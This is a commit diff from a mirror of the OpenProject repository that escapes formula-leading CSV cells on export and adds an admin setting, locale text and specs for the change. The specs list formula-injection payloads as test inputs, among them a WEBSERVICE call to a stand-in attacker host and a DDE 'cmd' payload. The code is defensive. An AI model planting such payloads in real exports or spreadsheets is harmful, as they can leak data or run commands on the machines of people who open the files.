mirror of
https://github.com/opf/openproject.git
synced 2026-06-13 19:20:00 +00:00
Escape CSV formula cells by default
This commit is contained in:
@@ -0,0 +1,35 @@
|
||||
# frozen_string_literal: true
|
||||
|
||||
#-- copyright
|
||||
# OpenProject is an open source project management software.
|
||||
# Copyright (C) the OpenProject GmbH
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or
|
||||
# modify it under the terms of the GNU General Public License version 3.
|
||||
#
|
||||
# OpenProject is a fork of ChiliProject, which is a fork of Redmine. The copyright follows:
|
||||
# Copyright (C) 2006-2013 Jean-Philippe Lang
|
||||
# Copyright (C) 2010-2013 the ChiliProject Team
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or
|
||||
# modify it under the terms of the GNU General Public License
|
||||
# as published by the Free Software Foundation; either version 2
|
||||
# of the License, or (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
|
||||
#
|
||||
# See COPYRIGHT and LICENSE files for more details.
|
||||
#++
|
||||
|
||||
module Admin::Settings
|
||||
class ExportsSettingsController < ::Admin::SettingsController
|
||||
menu_item :settings_exports
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,49 @@
|
||||
# frozen_string_literal: true
|
||||
|
||||
#-- copyright
|
||||
# OpenProject is an open source project management software.
|
||||
# Copyright (C) the OpenProject GmbH
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or
|
||||
# modify it under the terms of the GNU General Public License version 3.
|
||||
#
|
||||
# OpenProject is a fork of ChiliProject, which is a fork of Redmine. The copyright follows:
|
||||
# Copyright (C) 2006-2013 Jean-Philippe Lang
|
||||
# Copyright (C) 2010-2013 the ChiliProject Team
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or
|
||||
# modify it under the terms of the GNU General Public License
|
||||
# as published by the Free Software Foundation; either version 2
|
||||
# of the License, or (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
|
||||
#
|
||||
# See COPYRIGHT and LICENSE files for more details.
|
||||
#++
|
||||
|
||||
module Admin
|
||||
module Settings
|
||||
class ExportsSettingsForm < ApplicationForm
|
||||
settings_form do |sf|
|
||||
sf.text_field(
|
||||
name: :work_packages_projects_export_limit,
|
||||
type: :number,
|
||||
input_width: :xsmall,
|
||||
caption: I18n.t(:setting_work_packages_projects_export_limit_text)
|
||||
)
|
||||
|
||||
sf.check_box(
|
||||
name: :csv_escape_formulas,
|
||||
caption: I18n.t(:setting_csv_escape_formulas_text)
|
||||
)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -82,12 +82,6 @@ module Admin
|
||||
input_width: :xsmall
|
||||
)
|
||||
|
||||
sf.text_field(
|
||||
name: :work_packages_projects_export_limit,
|
||||
type: :number,
|
||||
input_width: :xsmall
|
||||
)
|
||||
|
||||
sf.text_field(
|
||||
name: :file_max_size_displayed,
|
||||
type: :number,
|
||||
|
||||
@@ -47,7 +47,8 @@ module Exports
|
||||
|
||||
def encode_csv_columns(columns, encoding = I18n.t(:general_csv_encoding))
|
||||
columns.map do |cell|
|
||||
Redmine::CodesetUtil.from_utf8(cell.to_s, encoding)
|
||||
sanitized = Exports::Concerns::CSVFormulaSanitization.sanitize(cell)
|
||||
Redmine::CodesetUtil.from_utf8(sanitized, encoding)
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
@@ -0,0 +1,76 @@
|
||||
# frozen_string_literal: true
|
||||
|
||||
#-- copyright
|
||||
# OpenProject is an open source project management software.
|
||||
# Copyright (C) the OpenProject GmbH
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or
|
||||
# modify it under the terms of the GNU General Public License version 3.
|
||||
#
|
||||
# OpenProject is a fork of ChiliProject, which is a fork of Redmine. The copyright follows:
|
||||
# Copyright (C) 2006-2013 Jean-Philippe Lang
|
||||
# Copyright (C) 2010-2013 the ChiliProject Team
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or
|
||||
# modify it under the terms of the GNU General Public License
|
||||
# as published by the Free Software Foundation; either version 2
|
||||
# of the License, or (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
|
||||
#
|
||||
# See COPYRIGHT and LICENSE files for more details.
|
||||
#++
|
||||
|
||||
module Exports
|
||||
module Concerns
|
||||
# Escape cells that begin with a spreadsheet formula-triggering character,
|
||||
# if the +csv_escape_formulas+ setting is active.
|
||||
module CSVFormulaSanitization
|
||||
module_function
|
||||
|
||||
# Leading characters that always indicate a formula and will always be escaped
|
||||
ALWAYS_ESCAPE = %W[= @ \t \r].freeze
|
||||
|
||||
# Leading characters that trigger formula evaluation but may also legitimately
|
||||
# be a number (negative/positive values).
|
||||
POSSIBLE_NUMBER_START = %w[- +].freeze
|
||||
|
||||
# A single, optionally signed number as it appears in exported cells:
|
||||
# thousands/decimal separators, optional surrounding whitespace and an
|
||||
# optional currency symbol or percent sign (e.g. "-5.00", "-1.234,56 €").
|
||||
# Anything with an internal operator (e.g. "+1+1") or letters/parentheses
|
||||
# fails this match and will be treated as a formula again
|
||||
PLAIN_NUMBER = /\A[+-]?[\p{Sc}\s]*\d[\d.,'\s]*[\p{Sc}%]?\z/u
|
||||
|
||||
# Escape a single CSV cell value if the setting is active
|
||||
#
|
||||
# @param value [Object] the raw cell value
|
||||
# @return [String] the (possibly escaped) string value
|
||||
def sanitize(value)
|
||||
str = value.to_s
|
||||
return str unless needs_escaping?(str)
|
||||
|
||||
"'#{str}"
|
||||
end
|
||||
|
||||
def needs_escaping?(str)
|
||||
return false unless Setting.csv_escape_formulas?
|
||||
return false if str.empty?
|
||||
|
||||
first = str[0]
|
||||
return true if ALWAYS_ESCAPE.include?(first)
|
||||
return false unless POSSIBLE_NUMBER_START.include?(first)
|
||||
|
||||
# Leading - or +: only escape when the value is not a plain signed number.
|
||||
!str.match?(PLAIN_NUMBER)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,56 @@
|
||||
<%#-- copyright
|
||||
OpenProject is an open source project management software.
|
||||
Copyright (C) the OpenProject GmbH
|
||||
|
||||
This program is free software; you can redistribute it and/or
|
||||
modify it under the terms of the GNU General Public License version 3.
|
||||
|
||||
OpenProject is a fork of ChiliProject, which is a fork of Redmine. The copyright follows:
|
||||
Copyright (C) 2006-2013 Jean-Philippe Lang
|
||||
Copyright (C) 2010-2013 the ChiliProject Team
|
||||
|
||||
This program is free software; you can redistribute it and/or
|
||||
modify it under the terms of the GNU General Public License
|
||||
as published by the Free Software Foundation; either version 2
|
||||
of the License, or (at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program; if not, write to the Free Software
|
||||
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
|
||||
|
||||
See COPYRIGHT and LICENSE files for more details.
|
||||
|
||||
++#%>
|
||||
|
||||
<% html_title t(:label_administration), t(:label_export_plural) %>
|
||||
|
||||
<%=
|
||||
render(Primer::OpenProject::PageHeader.new) do |header|
|
||||
header.with_title { t(:label_export_plural) }
|
||||
header.with_breadcrumbs(
|
||||
[{ href: admin_index_path, text: t("label_administration") },
|
||||
{ href: admin_settings_general_path, text: t(:label_system_settings) },
|
||||
t(:label_export_plural)]
|
||||
)
|
||||
end
|
||||
%>
|
||||
|
||||
<%=
|
||||
settings_primer_form_with(
|
||||
url: admin_settings_exports_path,
|
||||
scope: :settings,
|
||||
method: :patch
|
||||
) do |f|
|
||||
render(
|
||||
Primer::Forms::FormList.new(
|
||||
Admin::Settings::ExportsSettingsForm.new(f),
|
||||
Admin::Settings::Save.new(f)
|
||||
)
|
||||
)
|
||||
end
|
||||
%>
|
||||
@@ -316,6 +316,10 @@ module Settings
|
||||
cross_project_work_package_relations: {
|
||||
default: true
|
||||
},
|
||||
csv_escape_formulas: {
|
||||
default: true,
|
||||
description: "Escapes cells with single quote in CSV exports that begin with a spreadsheet formula character (e.g., =,@)"
|
||||
},
|
||||
database_cipher_key: {
|
||||
description: "Encryption key for repository credentials",
|
||||
format: :string,
|
||||
|
||||
@@ -549,6 +549,12 @@ Redmine::MenuManager.map :admin_menu do |menu|
|
||||
caption: :label_external_links,
|
||||
parent: :settings
|
||||
|
||||
menu.push :settings_exports,
|
||||
{ controller: "/admin/settings/exports_settings", action: :show },
|
||||
if: ->(_) { User.current.admin? },
|
||||
caption: :label_export_plural,
|
||||
parent: :settings
|
||||
|
||||
menu.push :settings_repositories,
|
||||
{ controller: "/admin/settings/repositories_settings", action: :show },
|
||||
if: ->(_) { User.current.admin? },
|
||||
|
||||
@@ -89,6 +89,7 @@ OpenProject::Inflector.inflection(
|
||||
"sha1" => "SHA1",
|
||||
"sso" => "SSO",
|
||||
"csv" => "CSV",
|
||||
"csv_formula_sanitization" => "CSVFormulaSanitization",
|
||||
"pdf" => "PDF",
|
||||
"scm" => "SCM",
|
||||
"imap" => "IMAP",
|
||||
|
||||
@@ -4228,6 +4228,7 @@ en:
|
||||
label_journal_diff: "Description Comparison"
|
||||
label_language: "Language"
|
||||
label_languages: "Languages"
|
||||
label_export_plural: "Exports"
|
||||
label_external_links: "External links"
|
||||
label_locale: "Language and region"
|
||||
label_jump_to_a_project: "Jump to a project..."
|
||||
@@ -5401,6 +5402,13 @@ en:
|
||||
setting_consent_required: "Consent required"
|
||||
setting_consent_decline_mail: "Consent contact mail address"
|
||||
setting_cross_project_work_package_relations: "Allow cross-project work package relations"
|
||||
setting_csv_escape_formulas: "Escape formulas in CSV exports"
|
||||
setting_csv_escape_formulas_text: >
|
||||
Escape spreadsheet formulas in CSV exports by prefixing cells that begin
|
||||
with characters such as =, +, -, or @ with a single quote. This mitigates CSV
|
||||
formula injection when exported files are opened in spreadsheet applications such as Excel.
|
||||
This comes at the downside of modifying the string values inside the CSV,
|
||||
so you may want to disable this if downstream tools require the exact, unescaped cell values.
|
||||
setting_first_week_of_year: "First week in year contains"
|
||||
setting_date_format: "Date"
|
||||
setting_default_language: "Default language"
|
||||
@@ -5448,6 +5456,9 @@ en:
|
||||
setting_work_package_properties: "Work package properties"
|
||||
setting_work_package_startdate_is_adddate: "Use current date as start date for new work packages"
|
||||
setting_work_packages_projects_export_limit: "Work packages / Projects export limit"
|
||||
setting_work_packages_projects_export_limit_text: >
|
||||
Maximum number of work packages or projects that can be included in a single
|
||||
export. Larger exports are truncated to this limit.
|
||||
setting_journal_aggregation_time_minutes: "Aggregation period"
|
||||
setting_log_requesting_user: "Log user login, name, and mail address for all requests"
|
||||
setting_login_required: "Authentication required"
|
||||
|
||||
@@ -669,6 +669,7 @@ Rails.application.routes.draw do
|
||||
resource :general, controller: "/admin/settings/general_settings", only: %i[show update]
|
||||
resource :languages, controller: "/admin/settings/languages_settings", only: %i[show update]
|
||||
resource :external_links, controller: "/admin/settings/external_links_settings", only: %i[show update]
|
||||
resource :exports, controller: "/admin/settings/exports_settings", only: %i[show update]
|
||||
resource :repositories, controller: "/admin/settings/repositories_settings", only: %i[show update]
|
||||
resource :experimental, controller: "/admin/settings/experimental_settings", only: %i[show update]
|
||||
|
||||
|
||||
@@ -38,7 +38,7 @@ module BudgetsHelper
|
||||
User.current.allowed_in_project?(:edit_budgets, @project)
|
||||
end
|
||||
|
||||
def budgets_to_csv(budgets)
|
||||
def budgets_to_csv(budgets) # rubocop:disable Metrics/AbcSize
|
||||
CSV.generate(col_sep: t(:general_csv_separator)) do |csv|
|
||||
# csv header fields
|
||||
headers = [
|
||||
@@ -54,7 +54,7 @@ module BudgetsHelper
|
||||
Budget.human_attribute_name(:updated_at),
|
||||
Budget.human_attribute_name(:description)
|
||||
]
|
||||
csv << headers.map { |c| begin; c.to_s.encode("UTF-8"); rescue StandardError; c.to_s; end }
|
||||
csv << headers.map { |c| Exports::Concerns::CSVFormulaSanitization.sanitize(c) }
|
||||
# csv lines
|
||||
budgets.each do |budget|
|
||||
fields = [
|
||||
@@ -70,7 +70,7 @@ module BudgetsHelper
|
||||
format_time(budget.updated_at),
|
||||
budget.description
|
||||
]
|
||||
csv << fields.map { |c| begin; c.to_s.encode("UTF-8"); rescue StandardError; c.to_s; end }
|
||||
csv << fields.map { |c| Exports::Concerns::CSVFormulaSanitization.sanitize(c) }
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -52,6 +52,24 @@ RSpec.describe BudgetsHelper do
|
||||
expect(budgets_to_csv([budget]).include?(expected)).to be_truthy
|
||||
end
|
||||
|
||||
context "with a formula-injection payload in user-controlled fields",
|
||||
with_settings: { csv_escape_formulas: true } do
|
||||
let(:budget) do
|
||||
build(:budget,
|
||||
project:,
|
||||
subject: "=1+1",
|
||||
description: '=HYPERLINK("https://example.com","x")')
|
||||
end
|
||||
|
||||
it "escapes the formula value by prepending a single quote" do
|
||||
csv = budgets_to_csv([budget])
|
||||
|
||||
expect(csv).to include("'=1+1")
|
||||
expect(csv).to include(%('=HYPERLINK))
|
||||
expect(csv).not_to match(/(?<!')=1\+1/)
|
||||
end
|
||||
end
|
||||
|
||||
it "starts with a header explaining the fields" do
|
||||
expected = [
|
||||
"#",
|
||||
|
||||
@@ -0,0 +1,39 @@
|
||||
# frozen_string_literal: true
|
||||
|
||||
#-- copyright
|
||||
# OpenProject is an open source project management software.
|
||||
# Copyright (C) the OpenProject GmbH
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or
|
||||
# modify it under the terms of the GNU General Public License version 3.
|
||||
#
|
||||
# OpenProject is a fork of ChiliProject, which is a fork of Redmine. The copyright follows:
|
||||
# Copyright (C) 2006-2013 Jean-Philippe Lang
|
||||
# Copyright (C) 2010-2013 the ChiliProject Team
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or
|
||||
# modify it under the terms of the GNU General Public License
|
||||
# as published by the Free Software Foundation; either version 2
|
||||
# of the License, or (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
|
||||
#
|
||||
# See COPYRIGHT and LICENSE files for more details.
|
||||
#++
|
||||
|
||||
require "spec_helper"
|
||||
|
||||
RSpec.describe Admin::Settings::ExportsSettingsController do
|
||||
shared_let(:user) { create(:admin) }
|
||||
|
||||
current_user { user }
|
||||
|
||||
include_examples "GET #show requires admin permission and renders template", path: "exports_settings"
|
||||
end
|
||||
@@ -0,0 +1,52 @@
|
||||
# frozen_string_literal: true
|
||||
|
||||
#-- copyright
|
||||
# OpenProject is an open source project management software.
|
||||
# Copyright (C) the OpenProject GmbH
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or
|
||||
# modify it under the terms of the GNU General Public License version 3.
|
||||
#
|
||||
# OpenProject is a fork of ChiliProject, which is a fork of Redmine. The copyright follows:
|
||||
# Copyright (C) 2006-2013 Jean-Philippe Lang
|
||||
# Copyright (C) 2010-2013 the ChiliProject Team
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or
|
||||
# modify it under the terms of the GNU General Public License
|
||||
# as published by the Free Software Foundation; either version 2
|
||||
# of the License, or (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
|
||||
#
|
||||
# See COPYRIGHT and LICENSE files for more details.
|
||||
#++
|
||||
|
||||
require "rails_helper"
|
||||
|
||||
RSpec.describe Admin::Settings::ExportsSettingsForm, type: :forms do
|
||||
include_context "with rendered form"
|
||||
|
||||
let(:form_arguments) { { url: "/foo", model: false, scope: :settings } }
|
||||
|
||||
subject(:rendered_form) do
|
||||
vc_render_form
|
||||
page
|
||||
end
|
||||
|
||||
it "renders the export settings fields", :aggregate_failures do
|
||||
expect(rendered_form).to have_field "Work packages / Projects export limit", type: :number do |field|
|
||||
expect(field["name"]).to eq "settings[work_packages_projects_export_limit]"
|
||||
end
|
||||
|
||||
expect(rendered_form).to have_field "Escape formulas in CSV exports", type: :checkbox do |field|
|
||||
expect(field["name"]).to eq "settings[csv_escape_formulas]"
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -74,10 +74,6 @@ RSpec.describe Admin::Settings::GeneralSettingsForm, type: :forms do
|
||||
expect(field["name"]).to eq "settings[feeds_limit]"
|
||||
end
|
||||
|
||||
expect(rendered_form).to have_field "Work packages / Projects export limit", type: :number do |field|
|
||||
expect(field["name"]).to eq "settings[work_packages_projects_export_limit]"
|
||||
end
|
||||
|
||||
expect(rendered_form).to have_field "Max size of text files displayed inline", type: :number,
|
||||
accessible_description: "kB" do |field|
|
||||
expect(field["name"]).to eq "settings[file_max_size_displayed]"
|
||||
|
||||
@@ -0,0 +1,102 @@
|
||||
# frozen_string_literal: true
|
||||
|
||||
#-- copyright
|
||||
# OpenProject is an open source project management software.
|
||||
# Copyright (C) the OpenProject GmbH
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or
|
||||
# modify it under the terms of the GNU General Public License version 3.
|
||||
#
|
||||
# OpenProject is a fork of ChiliProject, which is a fork of Redmine. The copyright follows:
|
||||
# Copyright (C) 2006-2013 Jean-Philippe Lang
|
||||
# Copyright (C) 2010-2013 the ChiliProject Team
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or
|
||||
# modify it under the terms of the GNU General Public License
|
||||
# as published by the Free Software Foundation; either version 2
|
||||
# of the License, or (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
|
||||
#
|
||||
# See COPYRIGHT and LICENSE files for more details.
|
||||
#++
|
||||
|
||||
require "spec_helper"
|
||||
|
||||
RSpec.describe Exports::Concerns::CSVFormulaSanitization do
|
||||
subject(:sanitize) { described_class.sanitize(value) }
|
||||
|
||||
context "when escaping is enabled (default)", with_settings: { csv_escape_formulas: true } do
|
||||
context "with formula-leading values" do
|
||||
[
|
||||
"=1+1",
|
||||
'=HYPERLINK("https://example.com","x")',
|
||||
"=WEBSERVICE(\"http://attacker.example\")",
|
||||
"@SUM(A1:A2)",
|
||||
"+1+1",
|
||||
"-1+cmd|' /C calc'!A0",
|
||||
"\t=1+1",
|
||||
"\r=1+1"
|
||||
].each do |dangerous|
|
||||
context "with #{dangerous.inspect}" do
|
||||
let(:value) { dangerous }
|
||||
|
||||
it "prepends a single quote" do
|
||||
expect(sanitize).to eq("'#{dangerous}")
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
context "with plain numbers and dates (numeric guard)" do
|
||||
["-5.00", "+5.00", "-1234.56", "-1.234,56 €", "2026-05-31", "0", "42"].each do |benign|
|
||||
context "with #{benign.inspect}" do
|
||||
let(:value) { benign }
|
||||
|
||||
it "leaves the value untouched" do
|
||||
expect(sanitize).to eq(benign)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
context "with ordinary text" do
|
||||
let(:value) { "Implement login screen" }
|
||||
|
||||
it "leaves the value untouched" do
|
||||
expect(sanitize).to eq("Implement login screen")
|
||||
end
|
||||
end
|
||||
|
||||
context "with a blank value" do
|
||||
let(:value) { "" }
|
||||
|
||||
it "leaves the value untouched" do
|
||||
expect(sanitize).to eq("")
|
||||
end
|
||||
end
|
||||
|
||||
context "with a non-string value" do
|
||||
let(:value) { 42 }
|
||||
|
||||
it "returns its string form untouched" do
|
||||
expect(sanitize).to eq("42")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
context "when escaping is disabled", with_settings: { csv_escape_formulas: false } do
|
||||
let(:value) { "=1+1" }
|
||||
|
||||
it "leaves dangerous values untouched" do
|
||||
expect(sanitize).to eq("=1+1")
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -114,6 +114,24 @@ RSpec.describe WorkPackage::Exports::CSV, "integration" do
|
||||
]
|
||||
end
|
||||
end
|
||||
|
||||
context "with a formula-injection payload in user-controlled fields",
|
||||
with_settings: { csv_escape_formulas: true } do
|
||||
shared_let(:work_package) do
|
||||
create(:work_package,
|
||||
subject: "=1+1",
|
||||
description: '=HYPERLINK("https://example.com","x")',
|
||||
type: type_a,
|
||||
project:)
|
||||
end
|
||||
|
||||
it "escapes the formula cell by prepending a single quote" do
|
||||
pairs = header_value_pairs.to_h
|
||||
|
||||
expect(pairs["Subject"]).to eq("'=1+1")
|
||||
expect(pairs["Description"]).to eq(%('=HYPERLINK("https://example.com","x")))
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
context "with multiple work packages" do
|
||||
|
||||
Reference in New Issue
Block a user